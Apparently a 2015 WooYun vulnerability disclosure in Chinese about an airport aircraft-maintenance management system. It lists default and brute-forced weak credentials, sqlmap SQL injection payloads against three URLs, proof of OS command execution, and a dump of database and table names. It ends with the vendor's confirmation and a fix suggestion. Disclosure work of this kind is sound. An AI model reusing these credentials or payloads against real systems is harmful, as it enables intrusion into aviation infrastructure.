当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157667

漏洞标题：高高原机场运行飞机维修管理系统弱口令及多处SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 小黑屋

提交时间：2015-12-03 23:06

修复时间：2016-01-21 10:20

公开时间：2016-01-21 10:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-03： 细节已通知厂商并且等待厂商处理中
2015-12-07： 厂商已经确认，细节仅向厂商公开
2015-12-17： 细节向核心白帽子及相关领域专家公开
2015-12-27： 细节向普通白帽子公开
2016-01-06： 细节向实习白帽子公开
2016-01-21： 细节向公众公开

简要描述：

这是一个名字萌萌哒的系统

详细说明：

系统地址：**.**.**.**/
管理员用户名admin 密码admin

1.png


可给内部人员发邮件~：

4.png


登陆页面无验证码，可爆破，爆破出来的密码是123456的用户：libo liuxin wangbin
登陆一个看看~

5.png


可查看内部邮件~

2.png


在后台逛了一圈，发现了3个注入点，测了下又是站库分离的~
1、**.**.**.**/BBS/BanKuaiView.aspx?ID=6

---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=6 AND 1126=1126
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=6 AND 5644=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (5644=5644) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)))
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
sqlmap resumed the following injection point(s) from stored session:
---


2、**.**.**.**/SystemManage/SystemJiaoSeUser.aspx?JiaoSeName=%B9%AB%CB%BE
（可执行系统命令）

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JiaoSeName (GET)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: JiaoSeName=%B9%AB%CB%BE';WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: JiaoSeName=%B9%AB%CB%BE' UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(110)+CHAR(77)+CHAR(85)+CHAR(113)+CHAR(73)+CHAR(70)+CHAR(111)+CHAR(79)+CHAR(99)+CHAR(98)+CHAR(117)+CHAR(88)+CHAR(121)+CHAR(78)+CHAR(74)+CHAR(89)+CHAR(88)+CHAR(103)+CHAR(101)+CHAR(119)+CHAR(87)+CHAR(111)+CHAR(76)+CHAR(72)+CHAR(85)+CHAR(90)+CHAR(114)+CHAR(114)+CHAR(100)+CHAR(118)+CHAR(76)+CHAR(86)+CHAR(78)+CHAR(119)+CHAR(82)+CHAR(69)+CHAR(102)+CHAR(80)+CHAR(121)+CHAR(105)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(122)+CHAR(113)-- 
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
command standard output [1]:
[*] nt service\mssqlserver
command standard output:
---
Windows IP 配置
 
 
以太网适配器 以太网 2:
 
   连接特定的 DNS 后缀 . . . . . . . : 
   IPv4 地址 . . . . . . . . . . . . : **.**.**.**
   子网掩码  . . . . . . . . . . . . : **.**.**.**
   默认网关. . . . . . . . . . . . . : 
 
以太网适配器 以太网:
 
   连接特定的 DNS 后缀 . . . . . . . : 
   IPv4 地址 . . . . . . . . . . . . : **.**.**.**
   子网掩码  . . . . . . . . . . . . : **.**.**.**
   默认网关. . . . . . . . . . . . . : **.**.**.**


3、**.**.**.**/PlanWorkFlow/PlaneFlowLCLB.aspx?ID=122

Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=122 AND 7743=7743
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=122;WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: ID=122 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(118)+CHAR(106)+CHAR(113)+CHAR(111)+CHAR(118)+CHAR(114)+CHAR(120)+CHAR(82)+CHAR(107)+CHAR(77)+CHAR(119)+CHAR(105)+CHAR(79)+CHAR(75)+CHAR(99)+CHAR(70)+CHAR(79)+CHAR(116)+CHAR(99)+CHAR(108)+CHAR(112)+CHAR(75)+CHAR(112)+CHAR(100)+CHAR(67)+CHAR(100)+CHAR(90)+CHAR(85)+CHAR(100)+CHAR(71)+CHAR(116)+CHAR(113)+CHAR(113)+CHAR(82)+CHAR(97)+CHAR(106)+CHAR(106)+CHAR(111)+CHAR(106)+CHAR(66)+CHAR(103)+CHAR(101)+CHAR(89)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(122)+CHAR(113)-- 
---


数据库

available databases [7]:
[*] BDOA
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


表~：

Database: BDOA
[145 tables]
+---------------------+
| ERPAnPai            |
| ERPBBSBanKuai       |
| ERPBBSTieZi         |
| ERPBaoJia           |
| ERPBaoXiao          |
| ERPBook             |
| ERPBookJieHuan      |
| ERPBuMen            |
| ERPBuyChanPin       |
| ERPBuyOrder         |
| ERPCYDIC            |
| ERPCarBaoXian       |
| ERPCarBaoYang       |
| ERPCarInfo          |
| ERPCarJiaYou        |
| ERPCarLog           |
| ERPCarShiYong       |
| ERPCarWeiHu         |
| ERPCarWeiZhang      |
| ERPContract         |
| ERPContractChanPin  |
| ERPCrmSetting       |
| ERPCustomFuWu       |
| ERPCustomHuiFang    |
| ERPCustomInfo       |
| ERPCustomNeed       |
| ERPDanWeiInfo       |
| ERPDangAn           |
| ERPFKJH             |
| ERPFileList         |
| ERPGongGao          |
| ERPGuDing           |
| ERPGuDingJiLu       |
| ERPHuiBao           |
| ERPHuiYuan          |
| ERPJSDIC            |
| ERPJXDetails        |
| ERPJiXiao           |
| ERPJiXiaoCanShu     |
| ERPJianLi           |
| ERPJiangCheng       |
| ERPJiangChengZhiDu  |
| ERPJiaoSe           |
| ERPJinDu            |
| ERPJuanKu           |
| ERPKaoQin           |
| ERPKaoQinSetting    |
| ERPLX               |
| ERPLanEmail         |
| ERPLiRun            |
| ERPLinkLog          |
| ERPLinkMan          |
| ERPMeeting          |
| ERPMianShi          |
| ERPMobile           |
| ERPNForm            |
| ERPNFormType        |
| ERPNWorkDetails     |
| ERPNWorkFlow        |
| ERPNWorkFlowNode    |
| ERPNWorkFlowWT      |
| ERPNWorkToDo        |
| ERPNetEmail         |
| ERPOffice           |
| ERPPeiXun           |
| ERPPeiXunRiJi       |
| ERPPeiXunXiaoGuo    |
| ERPPinShen          |
| ERPProduct          |
| ERPProject          |
| ERPRecive           |
| ERPRedHead          |
| ERPReimburse        |
| ERPRenShiHeTong     |
| ERPReport           |
| ERPReportType       |
| ERPRiZhi            |
| ERPSaveFileName     |
| ERPSerils           |
| ERPSheBei           |
| ERPShenPi           |
| ERPShiShi           |
| ERPShouKuan         |
| ERPSongYang         |
| ERPSupplyLink       |
| ERPSupplys          |
| ERPSystemSetting    |
| ERPTalkInfo         |
| ERPTalkOnlineUser   |
| ERPTalkSetting      |
| ERPTaskFP           |
| ERPTelFile          |
| ERPTiKu             |
| ERPTiKuKaoShi       |
| ERPTiKuKaoShiJieGuo |
| ERPTiKuShiJuan      |
| ERPTiKuShiJuanSet   |
| ERPTiKuType         |
| ERPTongXunLu        |
| ERPTouSu            |
| ERPTreeList         |
| ERPUser             |
| ERPUserDesk         |
| ERPVote             |
| ERPWorkPlan         |
| ERPWorkRiZhi        |
| ERPXCDetails        |
| ERPXinChou          |
| ERPXinChouCanShu    |
| ERPXueXi            |
| ERPXueXiXinDe       |
| ERPYS               |
| ERPYinZhang         |
| ERPYinZhangLog      |
| FJFXPJB             |
| FJJC                |
| FJJDLB              |
| FJLCJD              |
| FJLCJLLOG           |
| FJLDZP              |
| FJSCBMSH            |
| FJSCFS              |
| FJSCPG              |
| FJSCWTLB            |
| FJSCZZ              |
| FJSL                |
| FJSMSWXSB           |
| FJSQCX              |
| FJWTCLJG            |
| FJWTCLPGDY          |
| FJWTJLD             |
| FJWXBJ              |
| FJWXXT              |
| FJWXZXT             |
| FJXH                |
| FJYXBCHGSD          |
| FJYXJD              |
| FJZLQD              |
| FJZLSH              |
| GZRZ                |
| PLANEJCJL           |
| PlanSJZD            |
| QJSQB               |
| SWDJFB              |
| dtproperties        |
+---------------------+


整个系统没有过滤参数，也没关报错，应该还有注入点

漏洞证明：

1.png


---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=6 AND 1126=1126
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=6 AND 5644=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (5644=5644) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)))
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
sqlmap resumed the following injection point(s) from stored session:
---

修复方案：

登陆页面添加验证码，修改管理员密码，装安全防护软件

版权声明：转载请注明来源 小黑屋@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-12-07 10:14

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向民航行业测评中心通报,由其后续协调网站管理单位处置.

最新状态：

暂无